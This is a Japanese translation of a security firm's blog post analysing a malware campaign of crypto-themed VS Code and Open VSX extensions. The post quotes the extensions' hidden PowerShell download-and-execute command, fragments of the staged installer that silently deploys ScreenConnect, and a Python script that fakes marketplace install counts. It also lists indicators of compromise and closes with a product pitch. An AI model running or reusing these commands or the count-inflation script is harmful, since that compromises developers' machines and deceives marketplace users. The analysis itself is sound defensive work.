単独の脅威アクターが、二大マーケットプレイスを標的にし、インストール数は300万近くに達しました。その数字は水増しされていた可能性が高いものの、仕込まれたバックドアは紛れもなく本物でした。
今回私たちは、VS Codeで270万ダウンロードに達した新たなマルウェアキャンペーンを発見しました。このキャンペーンは複数のマーケットプレイスにまたがっている点が特異で、Open VSXでも20万件以上のダウンロードを記録しています。多くのインストール数は人為的に水増しされていましたが、相当数は実際のものであり、何千人もの開発者が気づかぬうちに危険にさらされていました。攻撃者は同一のインフラを使い、Vitalik Buterin氏やCharles Hoskinson氏といったイーサリアム界の著名人になりすますことで、両プラットフォームのセキュリティ対策をすり抜けていました。
これは、どちらか一方のマーケットプレイスがより脆弱だったという話ではありません。拡張機能のセキュリティがエコシステム全体で機能不全に陥っていることを示す事例です。
それでは詳しく見ていきましょう。
攻撃者は、ブロックチェーン開発者を引き寄せるよう設計された暗号資産関連の名称を使い、両マーケットプレイス(VS CodeマーケットプレイスとOpenVSX)に悪意ある拡張機能を展開していました。
VS Codeマーケットプレイス:
CharlesHoskinson.lfamnw1(Cardano創設者になりすまし)
EthersFoundation.bogitiy
vitalybuterin.hardhatjs(イーサリアム創設者になりすまし)
Open VSXレジストリ:
solidityai.solidity(Solidity言語)
soliditysupport.solid(Solidity言語)
総被害規模:両プラットフォーム合わせて290万件超のダウンロードですが、そのほとんどは脅威アクターグループによって捏造ないし水増しされたものと見て間違いないでしょう。
技術分析:完璧なトロイの木馬
このキャンペーンに登場する拡張機能はすべて同じパターンをたどっています。最小限の正規機能を隠れ蓑にし、その裏で悪意あるPowerShellを実行するというものです。VS Code向けの拡張機能は特に露骨で、ユーザーにとって意味のある機能をほぼ何も提供しないまま、リモートアクセスツールをインストールします。
攻撃チェーンは、拡張機能の読み込みと同時に開始されます。
asyncfunctionactivate(_0x1a0964) {
if (process.platform !== "win32") {
return;
}
setTimeout(() => {
const _0x47365a = {
windowsHide: true };
exec("powershell -WindowStyle Hidden -Command \"irm https://angelic.su/files/1.txt | iex\"", _0x47365a, _0xeef6d3 => {});
}, 2000);
}
多段階ペイロード配送
このマルウェアは、洗練された3段階のアプローチを採用しています。
ステージ1:https://angelic[.]su/files/1.txt からPowerShellスクリプトをダウンロード
ステージ2:https://angelic[.]su/files/2.txt から第2弾のPowerShellペイロードを取得
ステージ3:MSIインストーラーをダウンロードして実行
ペイロード配送の仕組みを簡単に見ていきましょう。
第1段階:環境調査
最初のPowerShellスクリプトは偵察を行います。
...
# Attempts to check for installations of ScreenConnect
$svc = Get-Service -Name 'ScreenConnect Client Service' -ErrorAction SilentlyContinue
$paths = 'HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\*','HKLM:\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\*'$reg = Get-ItemProperty $paths -ErrorAction SilentlyContinue |
Where-Object { $_.DisplayName -match 'ScreenConnect|ConnectWise Control' }
...
正規のリモート監視・管理(RMM)ツールであるScreenConnectがすでに存在する場合、スクリプトは第2段階のペイロードへと処理を移します。この環境チェックにより、マルウェアは検知を回避しつつ、既存のScreenConnect導入環境との競合を避けることができます。
第2段階:ペイロードのオーケストレーションとインストール
第2のスクリプト(2.txt)は、マルウェア本体の展開を担います。
– 悪意あるMSIインストーラーをダウンロード
– サイレントインストールを実行
– 永続化の仕組みを確立
– コマンド&コントロール通信を開始
...
# Download ScreenConnect and initiate the installation
Invoke-WebRequest -Uri "https://lmfao.su/Bin/ScreenConnect.ClientSetup.msi?e=Access&y=Guest" -OutFile $tempPath
Start-Process -FilePath "msiexec.exe" -ArgumentList "/i `"$tempPath`" /qn" -Verb RunAs -Wait
...
コマンド&コントロールインフラ
このキャンペーンでは、最近登録されたばかりのドメインが使用されています。angelic[.]su(ペイロードホスティング)
lmfao[.]su(MSI配布)
両ドメインはいずれも、同一のレジストラを通じてこの1か月以内に登録されたもので、インフラが計画的に準備されたことをうかがわせます。監視の緩いドメインを求めるサイバー犯罪者に典型的な、.su(旧ソビエト連邦)TLDが使われている点も特徴です。
暗号資産開発者を狙った標的化
拡張機能の命名パターンからは、暗号資産開発者を狙った巧妙なソーシャルエンジニアリングの手口が浮かび上がります。
CharlesHoskinson:Cardanoブロックチェーンの創設者
EthersFoundation:イーサリアム財団を連想させる名称
vitalybuterin:イーサリアム共同創設者のVitalik Buterin氏
Solidity:スマートコントラクト向けプログラミング言語
暗号資産開発者が高価値な標的となる理由は次の通りです。
– 価値の高いデジタル資産へのアクセス権を持っていることが多い
– 多額の資金を扱うスマートコントラクトに関わっている
– 開発ツールや拡張機能を頻繁にインストールする
– 新しいツールが次々と登場する、変化の速いエコシステムで活動している
決定的な証拠:置き忘れられた水増しスクリプト
CharlesHoskinson.lfamnw1拡張機能を分析する過程で、脅威アクターによる重大な運用セキュリティ上のミスと思われるものを発見しました。拡張機能のファイル群の中に、asd.pyという名のPythonスクリプトが埋もれていたのです。これはインストール数水増しツールで、攻撃者が公開前に削除し忘れたとみられます。
このスクリプトは、拡張機能の人気を人為的に押し上げる仕組みを明らかにしており、正規のVS Codeマーケットプレイスとのやり取りを模倣するためのハードコードされたロジックが含まれています。
while total_retries < MAX_TOTAL_RETRIES:
try:
headers = {
"accept": "api-version=6.1-preview.1",
"vscode-sessionid": generate_random_uuid(),
"x-market-client-id": "VSCode 1.101.2",
"x-market-user-id": generate_random_uuid(),
"accept-language": "en-US,en;q=0.9",
"user-agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36",
"priority": "u=1, i",
"referer": "https://vscode.dev/",
"origin": "https://vscode.dev" }
# POST request
post_response = session.post(
"https://marketplace.visualstudio.com/_apis/public/gallery/itemName/EthersFoundation.bogitiy/version/1.2.5/statType/1/vscodewebextension",
headers=headers,
timeout=PROXY_TIMEOUT
)
post_success = post_response.ok
time.sleep(random.uniform(*REQUEST_DELAY))
このスクリプトの標的URLは、特に示唆に富んでいます。キャンペーン内の別の拡張機能であるEthersFoundation.bogitiyのインストール数を水増しするために特化して設計されているのです。拡張機能同士のこうした相互参照は、この攻撃が組織的に運用されていたことを裏付けるとともに、脅威アクターが自らの悪意ある拡張機能の見かけ上の信頼性を、いかに人為的に高めていたかを物語っています。
重要な点として、このスクリプトは実際には拡張機能の悪意ある機能に組み込まれておらず、パッケージに誤って同梱されてしまった単独ツールとみられます。これは重大な運用セキュリティ上の失態であり、脅威アクターの手口を知る上で貴重な手がかりとなるとともに、私たちが確認した拡張機能群の高いインストール数が人為的なものであったことを裏付けています。
この水増しスクリプトの存在は、マーケットプレイスの指標が組織的に操作されていたことを示す動かぬ証拠であり、比較的新しい悪意ある拡張機能が、通常であれば正規の拡張機能がはるかに長い時間をかけて積み上げるはずの、一見印象的なダウンロード数をどのように達成できたのかを説明するものです。
マーケットプレイスのセキュリティが抱える逆説
このキャンペーンは、マーケットプレイスのセキュリティに対する私たちの前提そのものに潜む、根本的な問題を露呈させました。
Microsoftの「安全な」マーケットプレイスも、規模の前では機能不全に
信頼できないサードパーティ製コードが、往々にして最高権限で実行されているにもかかわらず、企業側からも攻撃者側からも長らく見過ごされてきました。しかし、その時代は終わりを迎えつつあります。潮目は変わりつつあるのです。
私たちは、こうした状況に対応するべくKoiを開発しました。実務担当者にも企業にも役立つプラットフォームです。私たちのプラットフォームは、VSCode、OpenVSX、Chrome Web Store、Firefox、Hugging Face、Homebrew、GitHubをはじめとするマーケットプレイスからチームが取り込むあらゆるものを、発見・評価・統制する支援を行います。
Fortune 50企業、金融機関、そして世界有数のテック企業から信頼を得ているKoiは、この広範な攻撃対象領域全体で可視性を確保し、統制を確立し、リスクを予防的に低減するために必要なセキュリティプロセスを自動化します。
私たちのソリューションにご興味がある方、あるいはすぐに行動を起こしたい方は、こちらからデモをご予約いただくか、お気軽にご連絡ください🤙
さらなる続報も準備中です。どうぞお楽しみに。
侵害指標(IOC)
PowerShellペイロード
- 9fd97eeebe80e8c4418ed07a2e13fc2b1e28a14482818bf2b90770bf78eefc0c(1.txt)
- 6f100006724d137e21a332ed5582657f9a694b7f569d92894eed28b7c4514e6c(2.txt)
MSIインストーラー
- 33a0069309c3f131c05ab86d2e4ceb10143fd9f02a8c30d5c58011b700ea97c1(setup.msi)
ネットワークインフラ
- angelic[.]su(ペイロード配布)
- lmfao[.]su(MSIホスティング)
拡張機能識別子
- CharlesHoskinson.lfamnw1
- EthersFoundation.bogitiy
- vitalybuterin.hardhatjs
- solidityai.solidity
- soliditysupport.solid
翻訳元: https://www.koi.ai/blog/when-both-marketplaces-fall-the-cross-platform-extension-malware-campaign